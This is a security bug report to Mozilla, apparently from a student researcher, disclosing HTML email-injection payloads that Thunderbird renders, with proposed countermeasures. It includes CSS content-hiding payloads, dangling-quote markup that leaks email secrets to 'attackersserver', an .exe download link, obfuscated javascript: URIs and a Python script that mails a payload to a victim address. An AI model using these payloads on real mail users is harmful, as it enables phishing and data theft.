Bug: Malicious HTML E-mail Injection through Thunderbird
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2022-08-22 17:18:34+00:00
Resolved: 2022-10-26 06:57:28+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36

Steps to reproduce:

Hi Mozilla Security Team,
My name is Seif, I am a master’s student in Asia Pacific University of Technology and Innovation. I am doing academic research about HTML injection in e-mail services and Thunderbird has been a part of my research. Here I will list out the issues I found during my experiments. 
The research objective is to build a penetration testing framework for exploiting e-mail HTML Injection attacks by trying out different payloads against different e-mail services. Finding counter measures and responsible disclosure are a part of the objectives as well. 
E-mail HTML Injection attacks can be used in spoofing and phishing. Thunderbird has rendered some HTML tags that can be used to exploit this issue even further. Applications are using e-mails to provide their users with different services like e-mail and password verifications, notifications, and marketing. When an application is vulnerable to e-mail HTML injection, an attacker can exploit the application in a way that allowing them to spoof and deliver e-mails to anyone using the application’s e-mail address. A vulnerable application can fix the issue by sanitizing the user input using a security encoding library. This part has nothing to do with Thunderbird this is the vulnerability explanation.
Worst case attack scenario, spoofed phishing e-mails sent to masses from legitimate sources.
Attack Simulation Explanation
To simulate the attacks, I used my e-mail and sent myself different payloads. The payloads that have been succeeded will be listed and explained. The payload consists of a simple simulated legitimate server response, and a payload to do something with the simulated response. To replicate the issues in some payloads, you might need a collaborator server.
Payloads explanation and countermeasures (payloads are separated by two newlines):
1.	Payloads category #1: Payload that are used to hide content from original e-mails. Those payloads are using CSS attributes to hide parts from the original e-mail. Then an attacker can inject his malicious content to them. The countermeasure for such behavior is to sanitize CSS attributes that hides the data. E.g., display:none, opacity:0, visibility:hidden. 

P1_succ<b>remove me</b>ess <head><style>b{display:none;}</style></head>

P2_succ<i>remove me</i>ess<style>b{display:none;}</style>

P3_succ<h2>remove me</h2> <head><style>h2{opacity:0}</style></head> </h2>ess

P4_succ<h1>remove me</h1><head><style>h1{visibility:hidden}</style></head></h1>ess

2.	Payloads category #2: Used to leak data from e-mails without interaction. If the original e-mail has a single quote after some sensitive content. It is possible for an attacker to infiltrate the sensitive data. To mitigate this issue, you might not allow the data that contain CRLF characters to exist between two single quotes and to not allow HTML tags as well.

P5<img src='http://attackersserver/?p5_success=1
<a href="https://legitimate/?xpayload5">secret</a>
'

P6<table background='https://attackersserver?p6_success=1
<a href="https://legitimate?xpayload6">secret</a>
'

P30<link rel="stylesheet" href='https://attackersserver/log/?p30=1
<a href="https://legitimate/?secret=123">secret</a>
'

P31<link rel="icon" href='https://attackersserver/?p31=1
<a href="https://legitimate/?secret=123">secret</a>
'

P32<link rel="preload" as="font" type="font/woff2" crossorigin="anonymous" href='https://attackersserver/?p32=1
<a href="https://attackersserver/?secret=123">secret</a>
'

P33<link rel="apple-touch-icon-precomposed" sizes="114x114" type="image/png" href='https://attackersserver/?p33=1
<a href="https://legitimate/?secret=123">secret</a>
'

P39<video controls width="250"><source type="video/webm" src='https://attackersserver/?p39=success
<a href="https://legitimate/?secret=123">secret</a>completep39'

P41<audio controls src='https://attackersserver/?p41=success
<a href="https://legitimate/?secret=123">secret</a>completep41'

3.	Payloads category #3: Used to leak data from e-mails with interaction. Using an anchor tag, it is possible to leak data from an e-mail by a click on a link. If the sensitive data is followed by a single quote. A proposed countermeasure is to not allow the existence of the data that contains CRLF characters (Newline and Linefeed) and HTML tags between two single quotes. 

P27<a href='https://attackersserver?p27=success
<a href="https://legitimate?ss=secret123">secret</a> 
'

4.	Payloads category #4: Used to deliver a downloadable file. This issue can be used to deliver a single click downloadable malware. A proposed solution is to replicate Facebook’s Linkshim. Which gives a level of trust for every URL. This solution might do privacy concerns. Another solution is to use a web proxy server to scan the website on the fly and on the client before a user downloads the link. Since there might be links that only can be visited one time.
P35<a href="https://attackersserver/p.exe">Download me</a>

5.	Payloads category #5: Missing Best Practices. The payloads below might cause a security risk in some certain conditions or in future research. Iframes were found to be supported, custom HTML tags and custom URI schemes were found to be supported as well. Including the JavaScript URI scheme. None of those payloads had a direct impact. However, supporting those elements and attribute values can lead to security issues. Such as, click jacking to internal network through an Iframe, bypassing sanitization through custom HTML elements. The JavaScript URI scheme didn’t render javascript, but it existed in the e-mail’s body when the link has been hovered over. Those issues have not been tested further and all the examples above are theoretical.

P15<iframe src="https://attackersserver?p15_success=iframe_is_supported"></iframe>

P21<qqqx style="background-color:red; width:100px; height:100px;">p_21 inspect tag qqqx</qqqx>

P24<a href="axx://axx">p24</a>

P25<a href="&#x01;java&#x09;scripT&#x09;://axx">p25</a>

P26<a download="" href="&#x01;java&#x09;scripT&#x09;:location='https://attackersserver/'">p26</a>



How to reproduce:
Using and editing the following python code

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#To use this script, you might need to create an app password using Gmail, follow the instructions in this page, https://support.google.com/accounts/answer/185833
#Put a valid e-mail and password, then a target e-mail and one payload then run the code.
#Login to the victim e-mail to receive the sent e-mail.

email = "attacker@gmail.com" 
password = "123456" 
target = "victim@{email service}.com" 
payload = """ <h1> PAYLOAD </h1> """ 

def sendMessage(f, p, t, html):
    msg = MIMEMultipart('alternative')
    msg['Subject'] = '[ATTACK SIMULATION] HTML Email Injection'
    msg['From'] = f
    msg['To'] = t
    html = MIMEText(html, 'html')
    msg.attach(html)
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.ehlo()
    server.starttls()
    server.login(f, p)
    server.sendmail(f, t, msg.as_string())
    print 'successfully sent the mail'
    server.quit()

sendMessage(email, password, target, payload)